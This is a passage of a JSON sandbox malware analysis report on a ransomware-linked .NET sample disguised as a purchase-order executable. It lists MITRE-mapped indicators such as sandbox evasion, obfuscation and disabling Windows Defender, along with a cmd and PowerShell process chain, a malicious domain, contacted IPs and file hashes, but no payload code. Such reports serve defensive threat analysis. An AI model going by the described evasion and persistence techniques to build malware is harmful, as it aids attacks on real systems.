Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"suspicious","category":"Environment Awareness","name":"Queries process mitigation policy via NtQueryInformationProcess","description":"\"C:\\HJGROUPS-PURCHASEORDER#170331.exe\" queried ProcessMitigationPolicy\n \"C:\\Windows\\System32\\cmd.exe\" queried ProcessMitigationPolicy\n \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" queried ProcessMitigationPolicy","origin":"API Call","mitre_attack_id":"T1497.001","relevance":3,"id":"api-323","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00007584.00000000.137461.D9360000.00000002.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"Found string \":\\WINDOWS\\SYSTEM32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00007492.00000000.137226.03020000.00000004.mdmp, 00000000-00007492.00000001.137596.03020000.00000004.mdmp\")\n Found string \":\\WINDOWS\\SYSTEM32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00007584.00000000.137461.D7170000.00000004.mdmp, 00000000-00007584.00000001.137564.D7170000.00000004.mdmp\")\n Found string \":\\WINDOWS\\SYSTEM32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00007956.00000000.137821.47EA0000.00000004.mdmp, 00000000-00007956.00000001.139742.47EA0000.00000004.mdmp, 00000000-00007956.00000002.141020.47EA0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify sandbox environment running process","description":"Found string \"vmtoolsd.exe\" (Indicator: \"vmtoolsd.exe\"; Source: \"00000000-00007584.00000000.137461.E93E0000.00000004.mdmp, 00000000-00007584.00000001.137564.E93E0000.00000004.mdmp\")\n Found string \"VGAuthService.exe\" (Indicator: \"VGAuthService.exe\"; Source: \"00000000-00007584.00000000.137461.E93E0000.00000004.mdmp, 00000000-00007584.00000001.137564.E93E0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497","relevance":1,"id":"string-666","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve operating system version","description":"Observed string: \"Ver\" (Indicator: \"ver\") in Source: 00000000-00007584.00000000.137461.F13E0000.00000004.mdmp\n 00000000-00007584.00000001.137564.F14C5000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-327","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Environment Awareness","name":"Contains reference to Powershell profile file","description":"Found string \":\\Users\\WjXnbPQ\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1\" (Indicator: \"\\windowspowershell\\microsoft.powershell_profile.ps1\"; Source: \"00000000-00007584.00000000.137461.F13E0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1546.013","relevance":1,"id":"string-448","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"718,8156,3147,,GetComputerNameW,kernel32.dll,\"00:35:49.015\",RX=0,PX=0\" (Indicator: \"GetComputerName\"; Source: \"00000000-00007584.00000001.137564.F1AFD000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to multiple windows system processes","description":"Found strings \"smss.exe,csrss.exe,wininit.exe,winlogon.exe,services.exe\" (Source: \"00000000-00007584.00000000.137461.E93E0000.00000004.mdmp, 00000000-00007584.00000001.137564.E93E0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":3,"id":"string-455","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Unusual Characteristics","name":"Possibly uses a Windows Server utility","description":"\"RuntimeBroker.exe\" (Indicator: \"runtimebroker.exe\")\n \"backgroundTaskHost.exe\" (Indicator: \"backgroundtaskhost.exe\")","origin":"File/Memory","relevance":10,"id":"string-65","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Uses a .NET obfuscator to hide its code","description":"\"ystem.ConnectedSearch.ImpressionId\" is a hint for the obfuscator \"MPRESS\"\n \"System.ConnectedSearch.ImpressionId\" is a hint for the obfuscator \"MPRESS\"","origin":"File/Memory","mitre_attack_id":"T1027.002","relevance":2,"id":"string-6","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match – Anomalous PE file structure","description":"YARA signature for null IAT Directory of PE process \"00000000-00007584\"","origin":"YARA Signature","mitre_attack_id":"T1027.013","relevance":1,"id":"yara-153","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"suspicious","category":"Pattern Matching","name":"Yara Signature Match - Indicators","description":"YARA signature \"INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender\" matched process \"00000000-00007584\" as \"Detects executables embedding registry key / value combination indicative of disabling Windows Defender features\"","origin":"YARA Signature","relevance":9,"id":"yara-553","sources":[{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Process modifies its security profile or runtime behavior via prctl","description":"mono-sgen called prctl (option not captured)","origin":"API Call","mitre_attack_id":"T1036","relevance":3,"id":"api-1202","sources":[{"report_type":"sandbox","report_id":"6ac15858aa14d56180099ef9"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Process renames itself via prctl (potential evasion)","description":"mono-sgen renamed to 'SGen worker' via prctl PR_SET_NAME\n mono-sgen renamed to 'Finalizer' via prctl PR_SET_NAME","origin":"API Call","mitre_attack_id":"T1036","relevance":3,"id":"api-1001","sources":[{"report_type":"sandbox","report_id":"6ac15858aa14d56180099ef9"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops Windows batch files","description":"\"2d24a7bf56001668_e6b690ff-df59-4d43-babb-7cf1d2632018.bat\" has type \"DOS batch file ASCII text with very long lines (576) with CRLF line terminators\"- [targetUID: 402801392-1429]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-41","sources":[{"report_type":"sandbox","report_id":"6ac15858aa14d56180099ef9"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Discards output of command(s)","description":"/usr/bin/mono-sgen opened: /dev/null","origin":"API Call","mitre_attack_id":"T1070.003","relevance":10,"id":"api-1048","sources":[{"report_type":"sandbox","report_id":"6ac15858aa14d56180099ef9"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"6ac15858aa14d56180099ef9"}]}],"incidents":[{"name":"Persistence","details_count":3,"details":[{"detail":"Writes data to a remote process"},{"detail":"Creates new processes"},{"detail":"Spawns many processes"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"name":"Fingerprint","details_count":3,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries sensitive IE security settings"},{"detail":"Queries the display settings of system associated file extensions"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"name":"Spyware","details_count":1,"details":[{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"name":"Evasive","details_count":1,"details":[{"detail":"Marks file for deletion"}],"sources":[{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]}],"intel_graph":{"map":{"Domain:0e018d2e22fd6ccf56b646264e75c983007b3a7463b04768c07397a0887efb46":{"type":"Domain","value":"zynimg.com","verdict":{"verdict":"malicious","verdict_source":"domain reputation data","reasons":["reported malicious domain"]}},"File:03ff10f626253ac8613b7c489170d602c524b9e8b69ebc13d677a800b0bdb0db":{"type":"File","value":"03ff10f626253ac8613b7c489170d602c524b9e8b69ebc13d677a800b0bdb0db","verdict":{"verdict":"malicious","verdict_source":"domain reputation data","reasons":["File reported as packed by ClamAV antivirus","Found PowerShell command-line decoding base64 string","Found PowerShell process using window style 'hidden'","reported malicious domain"]},"filetype":"PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections","filetype_short":"PE32","mime_type":"application/x-dosexec"},"File:1508bc9d98a776354b7456cd37c3216f0f14c39de9dd6d7dd75064ffd5b935ea":{"type":"File","value":"1508bc9d98a776354b7456cd37c3216f0f14c39de9dd6d7dd75064ffd5b935ea"},"File:15f2b8cf6cdc7fd1a6fbedf25208efbd5ff0d8be608704d3c38eb1130a4be889":{"type":"File","value":"15f2b8cf6cdc7fd1a6fbedf25208efbd5ff0d8be608704d3c38eb1130a4be889"},"File:1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491":{"type":"File","value":"1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491"},"File:2b8893b9391fc78639976ed48fbd7302a1d6a8f28d69b55a200a52ba2f8a9cf5":{"type":"File","value":"2b8893b9391fc78639976ed48fbd7302a1d6a8f28d69b55a200a52ba2f8a9cf5"},"File:2d24a7bf56001668d72d3e3442b26cfbea9eb0867715e3a688f77ed654601bd5":{"type":"File","value":"2d24a7bf56001668d72d3e3442b26cfbea9eb0867715e3a688f77ed654601bd5"},"File:6e8fd3094541f9b98f66fb7910d7ad542589f9ccc795186186d1f5d5efaf8c87":{"type":"File","value":"6e8fd3094541f9b98f66fb7910d7ad542589f9ccc795186186d1f5d5efaf8c87"},"File:7834bbae4f99c4e1011c9b69305a9f127d6ba3e9186af2274fe981149f54b169":{"type":"File","value":"7834bbae4f99c4e1011c9b69305a9f127d6ba3e9186af2274fe981149f54b169"},"File:7ea603b0c58c0178932c4e13fcd13e6d270f1acdc9510e0a606a349e85d4e9e9":{"type":"File","value":"7ea603b0c58c0178932c4e13fcd13e6d270f1acdc9510e0a606a349e85d4e9e9"},"File:95caa9e366733ad73f2325b70726af43661330b9e2c502e077c7dbb207412628":{"type":"File","value":"95caa9e366733ad73f2325b70726af43661330b9e2c502e077c7dbb207412628"},"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7":{"type":"File","value":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},"File:bf8aed042a9da4a222a37f262d87998eba678a864f4a90e1c99a6fb4037a6bfc":{"type":"File","value":"bf8aed042a9da4a222a37f262d87998eba678a864f4a90e1c99a6fb4037a6bfc"},"File:cd0e16446bf63303e0495ad50555b9e7d787ba3dfc4a20983a98063628edf640":{"type":"File","value":"cd0e16446bf63303e0495ad50555b9e7d787ba3dfc4a20983a98063628edf640"},"File:d958350413adb514c2de3cf175192821bc231d8af2a98d478eedc26bfde20f56":{"type":"File","value":"d958350413adb514c2de3cf175192821bc231d8af2a98d478eedc26bfde20f56"},"File:de4fe475ce8b999dd193be9c1e5e32a149549b3b1854e3867d0e217e3bc3a676":{"type":"File","value":"de4fe475ce8b999dd193be9c1e5e32a149549b3b1854e3867d0e217e3bc3a676"},"File:eb8a222e401fa9094075f6876c09bddd38b860907c5da6f55a26bdbfc37cdbb6":{"type":"File","value":"eb8a222e401fa9094075f6876c09bddd38b860907c5da6f55a26bdbfc37cdbb6"},"Ip:107.173.227.99":{"type":"Ip","value":"107.173.227.99"},"Ip:45.151.91.170":{"type":"Ip","value":"45.151.91.170"}},"chains":[{"id":"1556026246421674053","root":"File:03ff10f626253ac8613b7c489170d602c524b9e8b69ebc13d677a800b0bdb0db","edges":[],"verdict":{"verdict":"malicious","verdict_source":"domain reputation data","reasons":["File reported as packed by ClamAV antivirus","Found PowerShell command-line decoding base64 string","Found PowerShell process using window style 'hidden'","reported malicious domain"]}},{"id":"1556026253521331797","root":"File:03ff10f626253ac8613b7c489170d602c524b9e8b69ebc13d677a800b0bdb0db","edges":[{"edge_kind":"contacted_domain","from_key":"File:03ff10f626253ac8613b7c489170d602c524b9e8b69ebc13d677a800b0bdb0db","to_key":"Domain:0e018d2e22fd6ccf56b646264e75c983007b3a7463b04768c07397a0887efb46"}],"verdict":{"verdict":"malicious","verdict_source":"domain reputation data","reasons":["reported malicious domain"]}},{"id":"sandbox_network","root":"File:03ff10f626253ac8613b7c489170d602c524b9e8b69ebc13d677a800b0bdb0db","edges":[{"edge_kind":"contacted_ip","from_key":"File:03ff10f626253ac8613b7c489170d602c524b9e8b69ebc13d677a800b0bdb0db","to_key":"Ip:45.151.91.170"},{"edge_kind":"contacted_ip","from_key":"File:03ff10f626253ac8613b7c489170d602c524b9e8b69ebc13d677a800b0bdb0db","to_key":"Ip:107.173.227.99"},{"edge_kind":"contacted_domain","from_key":"File:03ff10f626253ac8613b7c489170d602c524b9e8b69ebc13d677a800b0bdb0db","to_key":"Domain:0e018d2e22fd6ccf56b646264e75c983007b3a7463b04768c07397a0887efb46"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}},{"id":"sandbox_files","root":"File:03ff10f626253ac8613b7c489170d602c524b9e8b69ebc13d677a800b0bdb0db","edges":[{"edge_kind":"extracted","from_key":"File:03ff10f626253ac8613b7c489170d602c524b9e8b69ebc13d677a800b0bdb0db","to_key":"File:15f2b8cf6cdc7fd1a6fbedf25208efbd5ff0d8be608704d3c38eb1130a4be889"},{"edge_kind":"extracted","from_key":"File:03ff10f626253ac8613b7c489170d602c524b9e8b69ebc13d677a800b0bdb0db","to_key":"File:7ea603b0c58c0178932c4e13fcd13e6d270f1acdc9510e0a606a349e85d4e9e9"},{"edge_kind":"extracted","from_key":"File:03ff10f626253ac8613b7c489170d602c524b9e8b69ebc13d677a800b0bdb0db","to_key":"File:6e8fd3094541f9b98f66fb7910d7ad542589f9ccc795186186d1f5d5efaf8c87"},{"edge_kind":"extracted","from_key":"File:03ff10f626253ac8613b7c489170d602c524b9e8b69ebc13d677a800b0bdb0db","to_key":"File:cd0e16446bf63303e0495ad50555b9e7d787ba3dfc4a20983a98063628edf640"},{"edge_kind":"extracted","from_key":"File:03ff10f626253ac8613b7c489170d602c524b9e8b69ebc13d677a800b0bdb0db","to_key":"File:de4fe475ce8b999dd193be9c1e5e32a149549b3b1854e3867d0e217e3bc3a676"},{"edge_kind":"extracted","from_key":"File:03ff10f626253ac8613b7c489170d602c524b9e8b69ebc13d677a800b0bdb0db","to_key":"File:1508bc9d98a776354b7456cd37c3216f0f14c39de9dd6d7dd75064ffd5b935ea"},{"edge_kind":"extracted","from_key":"File:03ff10f626253ac8613b7c489170d602c524b9e8b69ebc13d677a800b0bdb0db","to_key":"File:2b8893b9391fc78639976ed48fbd7302a1d6a8f28d69b55a200a52ba2f8a9cf5"},{"edge_kind":"extracted","from_key":"File:03ff10f626253ac8613b7c489170d602c524b9e8b69ebc13d677a800b0bdb0db","to_key":"File:7834bbae4f99c4e1011c9b69305a9f127d6ba3e9186af2274fe981149f54b169"},{"edge_kind":"extracted","from_key":"File:03ff10f626253ac8613b7c489170d602c524b9e8b69ebc13d677a800b0bdb0db","to_key":"File:2d24a7bf56001668d72d3e3442b26cfbea9eb0867715e3a688f77ed654601bd5"},{"edge_kind":"extracted","from_key":"File:03ff10f626253ac8613b7c489170d602c524b9e8b69ebc13d677a800b0bdb0db","to_key":"File:eb8a222e401fa9094075f6876c09bddd38b860907c5da6f55a26bdbfc37cdbb6"},{"edge_kind":"extracted","from_key":"File:03ff10f626253ac8613b7c489170d602c524b9e8b69ebc13d677a800b0bdb0db","to_key":"File:1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491"},{"edge_kind":"extracted","from_key":"File:03ff10f626253ac8613b7c489170d602c524b9e8b69ebc13d677a800b0bdb0db","to_key":"File:95caa9e366733ad73f2325b70726af43661330b9e2c502e077c7dbb207412628"},{"edge_kind":"extracted","from_key":"File:03ff10f626253ac8613b7c489170d602c524b9e8b69ebc13d677a800b0bdb0db","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:03ff10f626253ac8613b7c489170d602c524b9e8b69ebc13d677a800b0bdb0db","to_key":"File:d958350413adb514c2de3cf175192821bc231d8af2a98d478eedc26bfde20f56"},{"edge_kind":"extracted","from_key":"File:03ff10f626253ac8613b7c489170d602c524b9e8b69ebc13d677a800b0bdb0db","to_key":"File:bf8aed042a9da4a222a37f262d87998eba678a864f4a90e1c99a6fb4037a6bfc"},{"edge_kind":"extracted","from_key":"File:03ff10f626253ac8613b7c489170d602c524b9e8b69ebc13d677a800b0bdb0db","to_key":"File:2d24a7bf56001668d72d3e3442b26cfbea9eb0867715e3a688f77ed654601bd5"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":6,"spawned_processes_count":6,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":42,"imported_dlls_count":174,"dropped_files_count":0,"extracted_files_count":16,"files_written_count":51,"files_deleted_count":2,"registry_keys_created_count":42,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":42,"embedded_ips_count":0,"embedded_domains_count":1,"embedded_urls_count":0,"contacted_hosts_count":2,"dns_resolutions_count":1,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":["ransomware","malicious","new_domain","windows-server-utility"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"6ac15858aa14d56180099ef9","environment_id":330,"environment_description":"Linux (Ubuntu 24.04, 64 bit)","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"MSIL_Agent.KCL.gen","submit_name":"HJ GROUPS - PURCHASE ORDER #170331.exe","analysis_start_time":"2026-10-03T19:35:11+00:00","indicators_count":{"informative":13,"suspicious":3,"malicious":3},"tags":["Extracted Files"],"is_in_unified_schema":true},{"id":"6a9a001ef495be5076038f23","environment_id":120,"environment_description":"Windows 7 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"MSIL_Agent.KCL.gen","contacted_countries":["USA"],"submit_name":"HJ GROUPS - PURCHASE ORDER #170331.exe","analysis_start_time":"2026-09-03T23:17:51+00:00","indicators_count":{"informative":117,"suspicious":33,"malicious":3},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true},{"id":"6a83631a407ea2e5610e4514","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"MSIL_Agent.KCL.gen","contacted_countries":["USA"],"submit_name":"HJ GROUPS - PURCHASE ORDER #170331.exe","analysis_start_time":"2026-08-17T19:38:03+00:00","indicators_count":{"informative":146,"suspicious":44,"malicious":6},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true},{"id":"6a836193d81d0be28803bb5f","environment_id":330,"environment_description":"Linux (Ubuntu 24.04, 64 bit)","state":"SUCCESS","verdict":"malicious","threat_score":81,"malware_family":"MSIL_Agent.KCL.gen","submit_name":"HJ GROUPS - PURCHASE ORDER #170331.exe","analysis_start_time":"2026-08-17T19:33:52+00:00","indicators_count":{"informative":10,"suspicious":3,"malicious":2},"tags":["Multi-Process"],"is_in_unified_schema":true},{"id":"6a56c930aa637670a10ecbc1","environment_id":330,"environment_description":"Linux (Ubuntu 24.04, 64 bit)","state":"SUCCESS","verdict":"malicious","threat_score":79,"malware_family":"Gen:Variant.Ransom.Chaos","submit_name":"HJ GROUPS - PURCHASE ORDER #170331.exe","analysis_start_time":"2026-07-14T23:44:47+00:00","indicators_count":{"informative":10,"suspicious":3,"malicious":2},"tags":["Multi-Process"],"is_in_unified_schema":false},{"id":"6a56c62e0de8681a1b0aba9f","environment_id":140,"environment_description":"Windows 11 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Gen:Variant.Ransom.Chaos","contacted_countries":["BGR","USA"],"submit_name":"HJ GROUPS - PURCHASE ORDER #170331.exe","analysis_start_time":"2026-07-14T23:28:47+00:00","indicators_count":{"informative":191,"suspicious":40,"malicious":7},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true},{"id":"6a56c4ffba1f6f04f7069b97","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Gen:Variant.Ransom.Chaos","contacted_countries":["BGR","USA"],"submit_name":"HJ GROUPS - PURCHASE ORDER #170331.exe","analysis_start_time":"2026-07-14T23:23:44+00:00","indicators_count":{"informative":192,"suspicious":39,"malicious":7},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":false}],"network_activity":{"contacted_hosts":[{"address":"45.151.91.170","port":80,"protocol":"TCP","country":"Bulgaria","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"address":"107.173.227.99","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]}],"dns_resolutions":[{"domain":"zynimg.com","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]}],"http_requests":[],"embedded_domains":[{"value":"zynimg.com","sources":[{"report_type":"qsp","report_id":""}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}],"processes":[{"pid":7312,"ppid":0,"name":"HJGROUPS-PURCHASEORDER#170331.exe","command_line":"","sha256":"03ff10f626253ac8613b7c489170d602c524b9e8b69ebc13d677a800b0bdb0db","normalized_path":"C:\\HJGROUPS-PURCHASEORDER#170331.exe","uid":"00000000-00007312","icon":"$5a"},{"pid":3572,"ppid":7312,"name":"cmd.exe","command_line":"/C \"%TEMP%\\31de4d1b-7e67-46ca-b7ba-c05ce3546d4a.bat\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\SYSTEM32\\cmd.exe","parent_uid":"00000000-00007312","uid":"00000000-00003572"},{"pid":5088,"ppid":3572,"name":"powershell.exe","command_line":"$5b","sha256":"d436e66c0d092508e4b85290815ab375695fa9013c7423a3a27fed4f1acf90bd","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00003572","uid":"00000000-00005088"},{"pid":864,"ppid":5088,"name":"powershell.exe","command_line":"$5c","sha256":"d436e66c0d092508e4b85290815ab375695fa9013c7423a3a27fed4f1acf90bd","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005088","uid":"00000000-00000864"},{"pid":7936,"ppid":864,"name":"csc.exe","command_line":"/noconfig /fullpaths @\"%TEMP%\\u2nd3ci3\\u2nd3ci3.cmdline\"","sha256":"a725546bde53f1ad533e74abb01dd5ed5f07b171f5c284738da88f6ce478cf5f","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","parent_uid":"00000000-00000864","uid":"00000000-00007936"},{"pid":8012,"ppid":7936,"name":"cvtres.exe","command_line":"/NOLOGO /READONLY /MACHINE:IX86 \"/OUT:%TEMP%\\RESE34.tmp\" \"%TEMP%\\u2nd3ci3\\CSC78F7CF84351D4BF2AB7022741A14228.TMP\"","sha256":"fd3ef1b4c91b2e85ccd05724a7cd527a3a27d7d549b0dcdb70d3d78be120c560","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","parent_uid":"00000000-00007936","uid":"00000000-00008012"}],"all_imported_dlls":["amsi.dll","MpOAV.dll","pwrshsip.dll","System.Data.ni.dll","cfgmgr32.dll","iertutil.dll","crypt32.dll","fltLib.dll","msvcp_win.dll","advapi32.dll","combase.dll","cmdext.dll","Microsoft.PowerShell.Security.ni.dll","System.Transactions.ni.dll","ucrtbase.dll","oleaut32.dll","psapi.dll","clrjit.dll","rsaenh.dll","sspicli.dll","Microsoft.PowerShell.Commands.Management.ni.dll","virtdisk.dll","wintrust.dll","userenv.dll","gdi32.dll","ole32.dll","imm32.dll","vcruntime140_1_clr0400.dll","propsys.dll","OneCoreUAPCommonProxyStub.dll","win32u.dll","msasn1.dll","System.Transactions.dll","uxtheme.dll","Microsoft.PowerShell.Commands.Utility.ni.dll","rtutils.dll","alink.dll","imagehlp.dll","sechost.dll","System.Core.ni.dll","msisip.dll","prxyqry.dll","winhttp.dll","IPHLPAPI.DLL","ws2_32.dll","mscorlib.ni.dll","System.ni.dll","AppxSip.dll","8y81aCye.dll","Microsoft.Management.Infrastructure.ni.dll","System.Data.dll","AppResolver.dll","KernelBase.dll","VxSSL64.dll","ucrtbase_clr0400.dll","profapi.dll","secur32.dll","Windows.StateRepositoryPS.dll","dhcpcsvc6.dll","dnsapi.dll","mscoree.dll","clbcatq.dll","System.Configuration.ni.dll","dhcpcsvc.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","shell32.dll","windows.storage.dll","kernel32.dll","mscoreei.dll","clr.dll","vcruntime140_clr0400.dll","atl.dll","shlwapi.dll","bcryptprimitives.dll","gpapi.dll","wshext.dll","System.Management.ni.dll","MpClient.dll","System.Configuration.Install.ni.dll","edputil.dll","ntdll.dll","kernel.appcore.dll","bcrypt.dll","System.Xml.ni.dll","rpcrt4.dll","wldp.dll","System.DirectoryServices.ni.dll","urlmon.dll","netutils.dll","BCP47Langs.dll","rasman.dll","rasadhlp.dll","msvcrt.dll","srvcli.dll","ntmarta.dll","mswsock.dll","diasymreader.dll","cryptsp.dll","version.dll","WinTypes.dll","SHCore.dll","winnsi.dll","mscorpehost.dll","apphelp.dll","cryptbase.dll","System.Management.Automation.ni.dll","rasapi32.dll","OnDemandConnRouteHelper.dll","nsi.dll","FWPUCLNT.DLL","user32.dll","gdi32full.dll","System.Core.dll","api-ms-win-core-file-l2-1-0.dll","api-ms-win-crt-filesystem-l1-1-0.dll","comctl32.dll","wininet.dll","setupapi.dll","api-ms-win-core-file-l1-2-0.dll","api-ms-win-crt-math-l1-1-0.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","api-ms-win-crt-string-l1-1-0.dll","System.Numerics.ni.dll","RpcRtRemote.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","api-ms-win-crt-locale-l1-1-0.dll","api-ms-win-core-timezone-l1-1-0.dll","tzres.dll","WSHTCPIP.DLL","msctf.dll","System.dll","System.Management.Automation.dll","nlssorting.dll","cscui.dll","msvcp140.dll","winbrand.dll","comdlg32.dll","Wldap32.dll","api-ms-win-core-localization-l1-2-0.dll","api-ms-win-core-processthreads-l1-1-1.dll","api-ms-win-core-synch-l1-2-0.dll","usp10.dll","api-ms-win-crt-runtime-l1-1-0.dll","api-ms-win-crt-time-l1-1-0.dll","api-ms-win-crt-stdio-l1-1-0.dll","api-ms-win-crt-utility-l1-1-0.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","lpk.dll","api-ms-win-crt-environment-l1-1-0.dll","Microsoft.CSharp.ni.dll","devobj.dll","rpcss.dll","mscorlib.dll","api-ms-win-crt-heap-l1-1-0.dll","mscorrc.dll","api-ms-win-downlevel-user32-l1-1-0.dll","webio.dll","api-ms-win-downlevel-version-l1-1-0.dll","vcruntime140.dll","vcruntime140_1.dll","wship6.dll","normaliz.dll","api-ms-win-crt-convert-l1-1-0.dll","api-ms-win-core-xstate-l2-1-0.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","credssp.dll","slc.dll","powrprof.dll","2Ern2DTy.dll","aepic.dll","msIso.dll","sppc.dll","cldapi.dll","912F55qq.dll"]},"file_activity":{"dropped_files":[],"extracted_files":[{"name":"ilffpbsg.out","sha256":"15f2b8cf6cdc7fd